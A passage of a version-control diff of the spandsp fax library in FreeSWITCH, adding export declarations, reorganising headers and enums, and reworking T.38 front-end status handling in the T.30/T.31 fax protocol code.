-size_t t30_get_tx_isp(t30_state_t *s, int *type, const char *address[])
+SPAN_DECLARE(size_t) t30_get_tx_isp(t30_state_t *s, int *type, const char *address[])
 {
     if (type)
         *type = s->tx_info.isp_type;
@@ -486,7 +490,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-size_t t30_get_rx_isp(t30_state_t *s, int *type, const char *address[])
+SPAN_DECLARE(size_t) t30_get_rx_isp(t30_state_t *s, int *type, const char *address[])
 {
     if (type)
         *type = s->rx_info.isp_type;
@@ -496,7 +500,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_tx_csa(t30_state_t *s, int type, const char *address, int len)
+SPAN_DECLARE(int) t30_set_tx_csa(t30_state_t *s, int type, const char *address, int len)
 {
     if (s->tx_info.csa)
         free(s->tx_info.csa);
@@ -510,7 +514,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-size_t t30_get_tx_csa(t30_state_t *s, int *type, const char *address[])
+SPAN_DECLARE(size_t) t30_get_tx_csa(t30_state_t *s, int *type, const char *address[])
 {
     if (type)
         *type = s->tx_info.csa_type;
@@ -520,7 +524,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-size_t t30_get_rx_csa(t30_state_t *s, int *type, const char *address[])
+SPAN_DECLARE(size_t) t30_get_rx_csa(t30_state_t *s, int *type, const char *address[])
 {
     if (type)
         *type = s->rx_info.csa_type;
@@ -530,7 +534,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_tx_page_header_info(t30_state_t *s, const char *info)
+SPAN_DECLARE(int) t30_set_tx_page_header_info(t30_state_t *s, const char *info)
 {
     if (info == NULL)
     {
@@ -545,7 +549,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-size_t t30_get_tx_page_header_info(t30_state_t *s, char *info)
+SPAN_DECLARE(size_t) t30_get_tx_page_header_info(t30_state_t *s, char *info)
 {
     if (info)
         strcpy(info, s->header_info);
@@ -553,25 +557,25 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t30_get_rx_country(t30_state_t *s)
+SPAN_DECLARE(const char *) t30_get_rx_country(t30_state_t *s)
 {
     return s->country;
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t30_get_rx_vendor(t30_state_t *s)
+SPAN_DECLARE(const char *) t30_get_rx_vendor(t30_state_t *s)
 {
     return s->vendor;
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t30_get_rx_model(t30_state_t *s)
+SPAN_DECLARE(const char *) t30_get_rx_model(t30_state_t *s)
 {
     return s->model;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t30_set_rx_file(t30_state_t *s, const char *file, int stop_page)
+SPAN_DECLARE(void) t30_set_rx_file(t30_state_t *s, const char *file, int stop_page)
 {
     strncpy(s->rx_file, file, sizeof(s->rx_file));
     s->rx_file[sizeof(s->rx_file) - 1] = '\0';
@@ -579,7 +583,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t30_set_tx_file(t30_state_t *s, const char *file, int start_page, int stop_page)
+SPAN_DECLARE(void) t30_set_tx_file(t30_state_t *s, const char *file, int start_page, int stop_page)
 {
     strncpy(s->tx_file, file, sizeof(s->tx_file));
     s->tx_file[sizeof(s->tx_file) - 1] = '\0';
@@ -588,13 +592,13 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t30_set_iaf_mode(t30_state_t *s, int iaf)
+SPAN_DECLARE(void) t30_set_iaf_mode(t30_state_t *s, int iaf)
 {
     s->iaf = iaf;
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_ecm_capability(t30_state_t *s, int enabled)
+SPAN_DECLARE(int) t30_set_ecm_capability(t30_state_t *s, int enabled)
 {
     s->ecm_allowed = enabled;
     t30_build_dis_or_dtc(s);
@@ -602,7 +606,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_rx_encoding(t30_state_t *s, int encoding)
+SPAN_DECLARE(int) t30_set_rx_encoding(t30_state_t *s, int encoding)
 {
     switch (encoding)
     {
@@ -616,7 +620,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_minimum_scan_line_time(t30_state_t *s, int min_time)
+SPAN_DECLARE(int) t30_set_minimum_scan_line_time(t30_state_t *s, int min_time)
 {
     /* There are only certain possible times supported, so we need to select
        the code which best matches the request. */
@@ -637,7 +641,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_supported_modems(t30_state_t *s, int supported_modems)
+SPAN_DECLARE(int) t30_set_supported_modems(t30_state_t *s, int supported_modems)
 {
     s->supported_modems = supported_modems;
     t30_build_dis_or_dtc(s);
@@ -645,7 +649,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_supported_compressions(t30_state_t *s, int supported_compressions)
+SPAN_DECLARE(int) t30_set_supported_compressions(t30_state_t *s, int supported_compressions)
 {
     s->supported_compressions = supported_compressions;
     t30_build_dis_or_dtc(s);
@@ -653,7 +657,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_supported_resolutions(t30_state_t *s, int supported_resolutions)
+SPAN_DECLARE(int) t30_set_supported_resolutions(t30_state_t *s, int supported_resolutions)
 {
     s->supported_resolutions = supported_resolutions;
     t30_build_dis_or_dtc(s);
@@ -661,7 +665,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_supported_image_sizes(t30_state_t *s, int supported_image_sizes)
+SPAN_DECLARE(int) t30_set_supported_image_sizes(t30_state_t *s, int supported_image_sizes)
 {
     s->supported_image_sizes = supported_image_sizes;
     t30_build_dis_or_dtc(s);
@@ -669,7 +673,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_supported_t30_features(t30_state_t *s, int supported_t30_features)
+SPAN_DECLARE(int) t30_set_supported_t30_features(t30_state_t *s, int supported_t30_features)
 {
     s->supported_t30_features = supported_t30_features;
     t30_build_dis_or_dtc(s);
@@ -677,51 +681,57 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t30_set_status(t30_state_t *s, int status)
+SPAN_DECLARE(void) t30_set_status(t30_state_t *s, int status)
 {
     s->current_status = status;
 }
 /*- End of function --------------------------------------------------------*/
 
-int t30_set_receiver_not_ready(t30_state_t *s, int count)
+SPAN_DECLARE(int) t30_set_receiver_not_ready(t30_state_t *s, int count)
 {
     s->receiver_not_ready_count = count;
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t30_set_phase_b_handler(t30_state_t *s, t30_phase_b_handler_t *handler, void *user_data)
+SPAN_DECLARE(void) t30_set_phase_b_handler(t30_state_t *s, t30_phase_b_handler_t *handler, void *user_data)
 {
     s->phase_b_handler = handler;
     s->phase_b_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t30_set_phase_d_handler(t30_state_t *s, t30_phase_d_handler_t *handler, void *user_data)
+SPAN_DECLARE(void) t30_set_phase_d_handler(t30_state_t *s, t30_phase_d_handler_t *handler, void *user_data)
 {
     s->phase_d_handler = handler;
     s->phase_d_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t30_set_phase_e_handler(t30_state_t *s, t30_phase_e_handler_t *handler, void *user_data)
+SPAN_DECLARE(void) t30_set_phase_e_handler(t30_state_t *s, t30_phase_e_handler_t *handler, void *user_data)
 {
     s->phase_e_handler = handler;
     s->phase_e_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t30_set_document_handler(t30_state_t *s, t30_document_handler_t *handler, void *user_data)
+SPAN_DECLARE(void) t30_set_document_handler(t30_state_t *s, t30_document_handler_t *handler, void *user_data)
 {
     s->document_handler = handler;
     s->document_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t30_set_real_time_frame_handler(t30_state_t *s, t30_real_time_frame_handler_t *handler, void *user_data)
+SPAN_DECLARE(void) t30_set_real_time_frame_handler(t30_state_t *s, t30_real_time_frame_handler_t *handler, void *user_data)
 {
     s->real_time_frame_handler = handler;
     s->real_time_frame_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(logging_state_t *) t30_get_logging_state(t30_state_t *s)
+{
+    return &s->logging;
+}
+/*- End of function --------------------------------------------------------*/
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/t30_logging.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/t30_logging.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/t30_logging.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,13 +22,13 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t30_logging.c,v 1.6 2008/08/01 17:59:46 steveu Exp $
+ * $Id: t30_logging.c,v 1.12 2009/04/12 09:12:10 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
@@ -37,13 +37,13 @@
 #include <string.h>
 #include <fcntl.h>
 #include <time.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <tiffio.h>
 
 #include "spandsp/telephony.h"
@@ -66,8 +66,13 @@
 #include "spandsp/t30.h"
 #include "spandsp/t30_logging.h"
 
+#include "spandsp/private/logging.h"
+#include "spandsp/private/t4.h"
+#include "spandsp/private/t30.h"
+
 #include "t30_local.h"
 
+/*! Value string pair structure */
 typedef struct
 {
     int val;
@@ -86,7 +91,7 @@
     DISBIT8 = 0x80
 };
 
-const char *t30_completion_code_to_str(int result)
+SPAN_DECLARE(const char *) t30_completion_code_to_str(int result)
 {
     switch (result)
     {
@@ -219,7 +224,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t30_frametype(uint8_t x)
+SPAN_DECLARE(const char *) t30_frametype(uint8_t x)
 {
     switch (x)
     {
@@ -484,7 +489,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t30_decode_dis_dtc_dcs(t30_state_t *s, const uint8_t *pkt, int len)
+SPAN_DECLARE(void) t30_decode_dis_dtc_dcs(t30_state_t *s, const uint8_t *pkt, int len)
 {
     logging_state_t *log;
     uint8_t frame_type;

Modified: freeswitch/branches/seven/libs/spandsp/src/t31.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/t31.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/t31.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -8,7 +8,7 @@
  * Special thanks to Lee Howard <faxguy@howardsilvan.com>
  * for his great work debugging and polishing this code.
  *
- * Copyright (C) 2004, 2005, 2006 Steve Underwood
+ * Copyright (C) 2004, 2005, 2006, 2008 Steve Underwood
  *
  * All rights reserved.
  *
@@ -25,13 +25,13 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t31.c,v 1.120 2008/09/07 12:45:17 steveu Exp $
+ * $Id: t31.c,v 1.151 2009/07/14 13:54:22 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
@@ -42,13 +42,13 @@
 #include <memory.h>
 #include <string.h>
 #include <ctype.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <assert.h>
 #include <tiffio.h>
 
@@ -62,15 +62,16 @@
 #include "spandsp/tone_detect.h"
 #include "spandsp/tone_generate.h"
 #include "spandsp/async.h"
+#include "spandsp/crc.h"
 #include "spandsp/hdlc.h"
 #include "spandsp/silence_gen.h"
 #include "spandsp/fsk.h"
+#include "spandsp/v29tx.h"
 #include "spandsp/v29rx.h"
-#include "spandsp/v29tx.h"
+#include "spandsp/v27ter_tx.h"
 #include "spandsp/v27ter_rx.h"
-#include "spandsp/v27ter_tx.h"
+#include "spandsp/v17tx.h"
 #include "spandsp/v17rx.h"
-#include "spandsp/v17tx.h"
 #include "spandsp/super_tone_rx.h"
 #include "spandsp/modem_connect_tones.h"
 #include "spandsp/t4.h"
@@ -81,74 +82,113 @@
 #include "spandsp/at_interpreter.h"
 #include "spandsp/fax_modems.h"
 #include "spandsp/t31.h"
+#include "spandsp/t30_fcf.h"
 
+#include "spandsp/private/logging.h"
+#include "spandsp/private/t38_core.h"
+#include "spandsp/private/silence_gen.h"
+#include "spandsp/private/fsk.h"
+#include "spandsp/private/v17tx.h"
+#include "spandsp/private/v17rx.h"
+#include "spandsp/private/v27ter_tx.h"
+#include "spandsp/private/v27ter_rx.h"
+#include "spandsp/private/v29tx.h"
+#include "spandsp/private/v29rx.h"
+#include "spandsp/private/modem_connect_tones.h"
+#include "spandsp/private/hdlc.h"
+#include "spandsp/private/fax_modems.h"
+#include "spandsp/private/at_interpreter.h"
+#include "spandsp/private/t31.h"
+
 /* Settings suitable for paced transmission over a UDP transport */
-#define MS_PER_TX_CHUNK                 30
-#define INDICATOR_TX_COUNT              3
-#define DATA_TX_COUNT                   1
-#define DATA_END_TX_COUNT               3
-#define DEFAULT_DTE_TIMEOUT             5
+/*! The default number of milliseconds per transmitted IFP when sending bulk T.38 data */
+#define MS_PER_TX_CHUNK                         30
+/*! The number of transmissions of indicator IFP packets */
+#define INDICATOR_TX_COUNT                      3
+/*! The number of transmissions of data IFP packets */
+#define DATA_TX_COUNT                           1
+/*! The number of transmissions of terminating data IFP packets */
+#define DATA_END_TX_COUNT                       3
+/*! The default DTE timeout, in seconds */
+#define DEFAULT_DTE_TIMEOUT                     5
 
 /* Settings suitable for unpaced transmission over a TCP transport */
-#define MAX_OCTETS_PER_UNPACED_CHUNK    300
+#define MAX_OCTETS_PER_UNPACED_CHUNK            300
 
 /* Backstop timeout if reception of packets stops in the middle of a burst */
-#define MID_RX_TIMEOUT                  15000
+#define MID_RX_TIMEOUT                          15000
 
-#define HDLC_FRAMING_OK_THRESHOLD       5
+#define HDLC_FRAMING_OK_THRESHOLD               5
 
 typedef const char *(*at_cmd_service_t)(t31_state_t *s, const char *cmd);
 
-#define ETX 0x03
-#define DLE 0x10
-#define SUB 0x1A
+enum
+{
+    ETX = 0x03,
+    DLE = 0x10,
+    SUB = 0x1A
+};
 
-/* BEWARE: right now this must match up with a list in the AT interpreter code. */
 enum
 {
-    T31_NONE = -1,
-    T31_FLUSH = 0,
-    T31_SILENCE_TX,
-    T31_SILENCE_RX,
-    T31_CED_TONE,
-    T31_CNG_TONE,
-    T31_NOCNG_TONE,
-    T31_V21_TX,
-    T31_V17_TX,
-    T31_V27TER_TX,
-    T31_V29_TX,
-    T31_V21_RX,
-    T31_V17_RX,
-    T31_V27TER_RX,
-    T31_V29_RX
+    DISBIT1 = 0x01,
+    DISBIT2 = 0x02,
+    DISBIT3 = 0x04,
+    DISBIT4 = 0x08,
+    DISBIT5 = 0x10,
+    DISBIT6 = 0x20,
+    DISBIT7 = 0x40,
+    DISBIT8 = 0x80
 };
 
 enum
 {
+    T38_CHUNKING_MERGE_FCS_WITH_DATA    = 0x0001,
+    T38_CHUNKING_WHOLE_FRAMES           = 0x0002,
+    T38_CHUNKING_ALLOW_TEP_TIME         = 0x0004
+};
+
+enum
+{
     T38_TIMED_STEP_NONE = 0,
-    T38_TIMED_STEP_NON_ECM_MODEM,
-    T38_TIMED_STEP_NON_ECM_MODEM_2,
-    T38_TIMED_STEP_NON_ECM_MODEM_3,
-    T38_TIMED_STEP_NON_ECM_MODEM_4,
-    T38_TIMED_STEP_NON_ECM_MODEM_5,
-    T38_TIMED_STEP_HDLC_MODEM,
-    T38_TIMED_STEP_HDLC_MODEM_2,
-    T38_TIMED_STEP_HDLC_MODEM_3,
-    T38_TIMED_STEP_HDLC_MODEM_4,
-    T38_TIMED_STEP_CED,
-    T38_TIMED_STEP_CED_2,
-    T38_TIMED_STEP_CNG,
-    T38_TIMED_STEP_CNG_2,
-    T38_TIMED_STEP_PAUSE
+    T38_TIMED_STEP_NON_ECM_MODEM = 0x10,
+    T38_TIMED_STEP_NON_ECM_MODEM_2 = 0x11,
+    T38_TIMED_STEP_NON_ECM_MODEM_3 = 0x12,
+    T38_TIMED_STEP_NON_ECM_MODEM_4 = 0x13,
+    T38_TIMED_STEP_NON_ECM_MODEM_5 = 0x14,
+    T38_TIMED_STEP_HDLC_MODEM = 0x20,
+    T38_TIMED_STEP_HDLC_MODEM_2 = 0x21,
+    T38_TIMED_STEP_HDLC_MODEM_3 = 0x22,
+    T38_TIMED_STEP_HDLC_MODEM_4 = 0x23,
+    T38_TIMED_STEP_HDLC_MODEM_5 = 0x24,
+    T38_TIMED_STEP_FAKE_HDLC_MODEM = 0x30,
+    T38_TIMED_STEP_FAKE_HDLC_MODEM_2 = 0x31,
+    T38_TIMED_STEP_FAKE_HDLC_MODEM_3 = 0x32,
+    T38_TIMED_STEP_FAKE_HDLC_MODEM_4 = 0x33,
+    T38_TIMED_STEP_FAKE_HDLC_MODEM_5 = 0x34,
+    T38_TIMED_STEP_CED = 0x40,
+    T38_TIMED_STEP_CED_2 = 0x41,
+    T38_TIMED_STEP_CED_3 = 0x42,
+    T38_TIMED_STEP_CNG = 0x50,
+    T38_TIMED_STEP_CNG_2 = 0x51,
+    T38_TIMED_STEP_PAUSE = 0x60
 };
 
 static int restart_modem(t31_state_t *s, int new_modem);
-static void hdlc_accept(void *user_data, const uint8_t *msg, int len, int ok);
+static void hdlc_accept_frame(void *user_data, const uint8_t *msg, int len, int ok);
+static void set_rx_handler(t31_state_t *s, span_rx_handler_t *handler, void *user_data);
+static void set_tx_handler(t31_state_t *s, span_tx_handler_t *handler, void *user_data);
+static void set_next_tx_handler(t31_state_t *s, span_tx_handler_t *handler, void *user_data);
 static int v17_v21_rx(void *user_data, const int16_t amp[], int len);
 static int v27ter_v21_rx(void *user_data, const int16_t amp[], int len);
 static int v29_v21_rx(void *user_data, const int16_t amp[], int len);
 static int silence_rx(void *user_data, const int16_t amp[], int len);
 static int cng_rx(void *user_data, const int16_t amp[], int len);
+static void non_ecm_put_bit(void *user_data, int bit);
+static void non_ecm_put_chunk(void *user_data, const uint8_t buf[], int len);
+static int non_ecm_get_chunk(void *user_data, uint8_t buf[], int len);
+static void non_ecm_rx_status(void *user_data, int status);
+static void hdlc_rx_status(void *user_data, int status);
 
 static __inline__ void t31_set_at_rx_mode(t31_state_t *s, int new_mode)
 {
@@ -156,12 +196,129 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+#if 0
+static void monitor_control_messages(t31_state_t *s, const uint8_t *buf, int len)
+{
+    /* Monitor the control messages, at the point where we have the whole message, so we can
+       see what is happening to things like training success/failure. */
+    span_log(&s->logging, SPAN_LOG_FLOW, "Monitoring %s\n", t30_frametype(buf[2]));
+    if (len < 3)
+        return;
+    /*endif*/
+    switch (buf[2])
+    {
+    case T30_DCS:
+    case T30_DCS | 1:
+        /* We need to know if ECM is about to be used, so we can fake HDLC stuff. */
+        s->t38_fe.ecm_mode = (len >= 7)  &&  (buf[6] & DISBIT3);
+        break;
+    default:
+        break;
+    }
+    /*endswitch*/
+}
+/*- End of function --------------------------------------------------------*/
+#endif
+
+static void front_end_status(t31_state_t *s, int status)
+{
+    span_log(&s->logging, SPAN_LOG_FLOW, "Front end status %d\n", status);
+    switch (status)
+    {
+    case T30_FRONT_END_SEND_STEP_COMPLETE:
+        switch (s->modem)
+        {
+        case FAX_MODEM_SILENCE_TX:
+            s->modem = FAX_MODEM_NONE;
+            at_put_response_code(&s->at_state, AT_RESPONSE_CODE_OK);
+            if (s->at_state.do_hangup)
+            {
+                at_modem_control(&s->at_state, AT_MODEM_CONTROL_HANGUP, NULL);
+                t31_set_at_rx_mode(s, AT_MODE_ONHOOK_COMMAND);
+                s->at_state.do_hangup = FALSE;
+            }
+            else
+            {
+                t31_set_at_rx_mode(s, AT_MODE_OFFHOOK_COMMAND);
+            }
+            break;
+        case FAX_MODEM_CED_TONE:
+            /* Go directly to V.21/HDLC transmit. */
+            s->modem = FAX_MODEM_NONE;
+            restart_modem(s, FAX_MODEM_V21_TX);
+            t31_set_at_rx_mode(s, AT_MODE_HDLC);
+            break;
+        case FAX_MODEM_V21_TX:
+        case FAX_MODEM_V17_TX:
+        case FAX_MODEM_V27TER_TX:
+        case FAX_MODEM_V29_TX:
+            s->modem = FAX_MODEM_NONE;
+            at_put_response_code(&s->at_state, AT_RESPONSE_CODE_OK);
+            t31_set_at_rx_mode(s, AT_MODE_OFFHOOK_COMMAND);
+            restart_modem(s, FAX_MODEM_SILENCE_TX);
+            break;
+        }
+        break;
+    case T30_FRONT_END_RECEIVE_COMPLETE:
+        break;
+    }
+}
+/*- End of function --------------------------------------------------------*/
+
+static int extra_bits_in_stuffed_frame(const uint8_t buf[], int len)
+{
+    int bitstream;
+    int ones;
+    int stuffed;
+    int i;
+    int j;
+    
+    bitstream = 0;
+    ones = 0;
+    stuffed = 0;
+    /* We should really append the CRC, and include the stuffed bits for that, to get
+       the exact number of bits in the frame. */
+    //len = crc_itu16_append(buf, len);
+    for (i = 0;  i < len;  i++)
+    {
+        bitstream = buf[i];
+        for (j = 0;  j < 8;  j++)
+        {
+            if ((bitstream & 1))
+            {
+                if (++ones >= 5)
+                {
+                    ones = 0;
+                    stuffed++;
+                }
+            }
+            else
+            {
+                ones = 0;
+            }
+            bitstream >>= 1;
+        }
+    }
+    /* The total length of the frame is:
+          the number of bits in the body
+        + the number of additional bits in the body due to stuffing
+        + the number of bits in the CRC
+        + the number of additional bits in the CRC due to stuffing
+        + 16 bits for the two terminating flag octets.
+       Lets just allow 3 bits for the CRC, which is the worst case. It
+       avoids calculating the real CRC, and the worst it can do is cause
+       a flag octet's worth of additional output.
+    */
+    return stuffed + 16 + 3 + 16;
+}
+/*- End of function --------------------------------------------------------*/
+
 static int process_rx_missing(t38_core_state_t *t, void *user_data, int rx_seq_no, int expected_seq_no)
 {
     t31_state_t *s;
     
     s = (t31_state_t *) user_data;
-    s->t38_fe.missing_data = TRUE;
+    s->t38_fe.rx_data_missing = TRUE;
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
@@ -170,15 +327,20 @@
 {
     t31_state_t *s;
     t31_t38_front_end_state_t *fe;
-    
+
     s = (t31_state_t *) user_data;
     fe = &s->t38_fe;
 
     if (t->current_rx_indicator == indicator)
     {
-        /* This is probably due to the far end repeating itself. Ignore it. Its harmless */
+        /* This is probably due to the far end repeating itself, or slipping
+           preamble messages in between HDLC frames. T.38/V.1.3 tells us to
+           ignore it. Its harmless. */
         return 0;
     }
+    /* In termination mode we don't care very much about indicators telling us training
+       is starting. We only care about V.21 preamble starting, for timeout control, and
+       the actual data. */
     switch (indicator)
     {
     case T38_IND_NO_SIGNAL:
@@ -186,19 +348,22 @@
             &&
             (fe->current_rx_type == T30_MODEM_V21  ||  fe->current_rx_type == T30_MODEM_CNG))
         {
-            /* TODO: report carrier down */
+            hdlc_rx_status(s, SIG_STATUS_CARRIER_DOWN);
         }
         fe->timeout_rx_samples = 0;
-        /* TODO: report end of signal */
+        front_end_status(s, T30_FRONT_END_SIGNAL_ABSENT);
         break;
     case T38_IND_CNG:
+        front_end_status(s, T30_FRONT_END_CNG_PRESENT);
         break;
     case T38_IND_CED:
+        front_end_status(s, T30_FRONT_END_CED_PRESENT);
         break;
     case T38_IND_V21_PREAMBLE:
-        /* Some people pop these preamble indicators between HDLC frames, so we need to be tolerant of that. */
+        /* Some T.38 implementations insert these preamble indicators between HDLC frames, so
+           we need to be tolerant of that. */
         fe->timeout_rx_samples = fe->samples + ms_to_samples(MID_RX_TIMEOUT);
-        /* TODO: report signal present */
+        front_end_status(s, T30_FRONT_END_SIGNAL_PRESENT);
         break;
     case T38_IND_V27TER_2400_TRAINING:
     case T38_IND_V27TER_4800_TRAINING:
@@ -214,22 +379,25 @@
     case T38_IND_V17_14400_LONG_TRAINING:
     case T38_IND_V33_12000_TRAINING:
     case T38_IND_V33_14400_TRAINING:
+        /* We really don't care what kind of modem is delivering the following image data.
+           We only care that some kind of fast modem signal is coming next. */
         fe->timeout_rx_samples = fe->samples + ms_to_samples(MID_RX_TIMEOUT);
-        /* TODO: report signal present */
+        front_end_status(s, T30_FRONT_END_SIGNAL_PRESENT);
         break;
     case T38_IND_V8_ANSAM:
     case T38_IND_V8_SIGNAL:
     case T38_IND_V34_CNTL_CHANNEL_1200:
     case T38_IND_V34_PRI_CHANNEL:
     case T38_IND_V34_CC_RETRAIN:
-        /* TODO: report signal present */
+        /* V.34 support is a work in progress. */
+        front_end_status(s, T30_FRONT_END_SIGNAL_PRESENT);
         break;
     default:
-        /* TODO: report end of signal */
+        front_end_status(s, T30_FRONT_END_SIGNAL_ABSENT);
         break;
     }
     fe->hdlc_rx.len = 0;
-    fe->missing_data = FALSE;
+    fe->rx_data_missing = FALSE;
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
@@ -239,7 +407,7 @@
     t31_state_t *s;
     t31_t38_front_end_state_t *fe;
 #if defined(_MSC_VER)
-    uint8_t *buf2 = (uint8_t *) alloca(len);
+    uint8_t *buf2 = (uint8_t *) _alloca(len);
 #else
     uint8_t buf2[len];
 #endif
@@ -247,6 +415,7 @@
     s = (t31_state_t *) user_data;
     fe = &s->t38_fe;
 #if 0
+    /* In termination mode we don't care very much what the data type is. */
     switch (data_type)
     {
     case T38_DATA_V21:
@@ -277,13 +446,13 @@
                there is zero packet lost. Nasty, but true. Its a good idea to be tolerant of
                loss, though, so accepting a sudden start of HDLC data is the right thing to do. */
             fe->timeout_rx_samples = fe->samples + ms_to_samples(MID_RX_TIMEOUT);
-            /* TODO: report signal present */
+            front_end_status(s, T30_FRONT_END_SIGNAL_PRESENT);
             /* All real HDLC messages in the FAX world start with 0xFF. If this one is not starting
                with 0xFF it would appear some octets must have been missed before this one. */
-            if (buf[0] != 0xFF)
-                fe->missing_data = TRUE;
+            if (len <= 0  ||  buf[0] != 0xFF)
+                fe->rx_data_missing = TRUE;
         }
-        if (fe->hdlc_rx.len + len <= T31_T38_MAX_HDLC_LEN)
+        if (len > 0  &&  fe->hdlc_rx.len + len <= T31_T38_MAX_HDLC_LEN)
         {
             bit_reverse(fe->hdlc_rx.buf + fe->hdlc_rx.len, buf, len);
             fe->hdlc_rx.len += len;
@@ -302,11 +471,13 @@
            of the incrementing sequence numbers. We need to filter them here in a context sensitive manner. */
         if (t->current_rx_data_type != data_type  ||  t->current_rx_field_type != field_type)
         {
-            span_log(&s->logging, SPAN_LOG_FLOW, "Type %s - CRC OK (%s)\n", (fe->hdlc_rx.len >= 3)  ?  t30_frametype(fe->hdlc_rx.buf[2])  :  "???", (fe->missing_data)  ?  "missing octets"  :  "clean");
-            hdlc_accept((void *) s, fe->hdlc_rx.buf, fe->hdlc_rx.len, !fe->missing_data);
+            span_log(&s->logging, SPAN_LOG_FLOW, "Type %s - CRC OK (%s)\n", (fe->hdlc_rx.len >= 3)  ?  t30_frametype(fe->hdlc_rx.buf[2])  :  "???", (fe->rx_data_missing)  ?  "missing octets"  :  "clean");
+            crc_itu16_append(fe->hdlc_rx.buf, fe->hdlc_rx.len);
+            hdlc_accept_frame(s, fe->hdlc_rx.buf, fe->hdlc_rx.len, !fe->rx_data_missing);
         }
         fe->hdlc_rx.len = 0;
-        fe->missing_data = FALSE;
+        fe->rx_data_missing = FALSE;
+        fe->timeout_rx_samples = fe->samples + ms_to_samples(MID_RX_TIMEOUT);
         break;
     case T38_FIELD_HDLC_FCS_BAD:
         if (len > 0)
@@ -320,11 +491,12 @@
            of the incrementing sequence numbers. We need to filter them here in a context sensitive manner. */
         if (t->current_rx_data_type != data_type  ||  t->current_rx_field_type != field_type)
         {
-            span_log(&s->logging, SPAN_LOG_FLOW, "Type %s - CRC bad (%s)\n", (fe->hdlc_rx.len >= 3)  ?  t30_frametype(fe->hdlc_rx.buf[2])  :  "???", (fe->missing_data)  ?  "missing octets"  :  "clean");
-            hdlc_accept((void *) s, fe->hdlc_rx.buf, fe->hdlc_rx.len, FALSE);
+            span_log(&s->logging, SPAN_LOG_FLOW, "Type %s - CRC bad (%s)\n", (fe->hdlc_rx.len >= 3)  ?  t30_frametype(fe->hdlc_rx.buf[2])  :  "???", (fe->rx_data_missing)  ?  "missing octets"  :  "clean");
+            hdlc_accept_frame(s, fe->hdlc_rx.buf, fe->hdlc_rx.len, FALSE);
         }
         fe->hdlc_rx.len = 0;
-        fe->missing_data = FALSE;
+        fe->rx_data_missing = FALSE;
+        fe->timeout_rx_samples = fe->samples + ms_to_samples(MID_RX_TIMEOUT);
         break;
     case T38_FIELD_HDLC_FCS_OK_SIG_END:
         if (len > 0)
@@ -333,47 +505,75 @@
             /* The sender has incorrectly included data in this message. It is unclear what we should do
                with it, to maximise tolerance of buggy implementations. */
         }
-        span_log(&s->logging, SPAN_LOG_FLOW, "Type %s - CRC OK, sig end (%s)\n", t30_frametype(s->tx.data[2]), (fe->missing_data)  ?  "missing octets"  :  "clean");
-        if (fe->current_rx_type == T31_V21_RX)
+        /* Some T.38 implementations send multiple T38_FIELD_HDLC_FCS_OK_SIG_END messages, in IFP packets with
+           incrementing sequence numbers, which are actually repeats. They get through to this point because
+           of the incrementing sequence numbers. We need to filter them here in a context sensitive manner. */
+        if (t->current_rx_data_type != data_type  ||  t->current_rx_field_type != field_type)
         {
-            /* Don't deal with zero length frames. Some T.38 implementations send multiple T38_FIELD_HDLC_FCS_OK
-               packets, when they have sent no data for the body of the frame. */
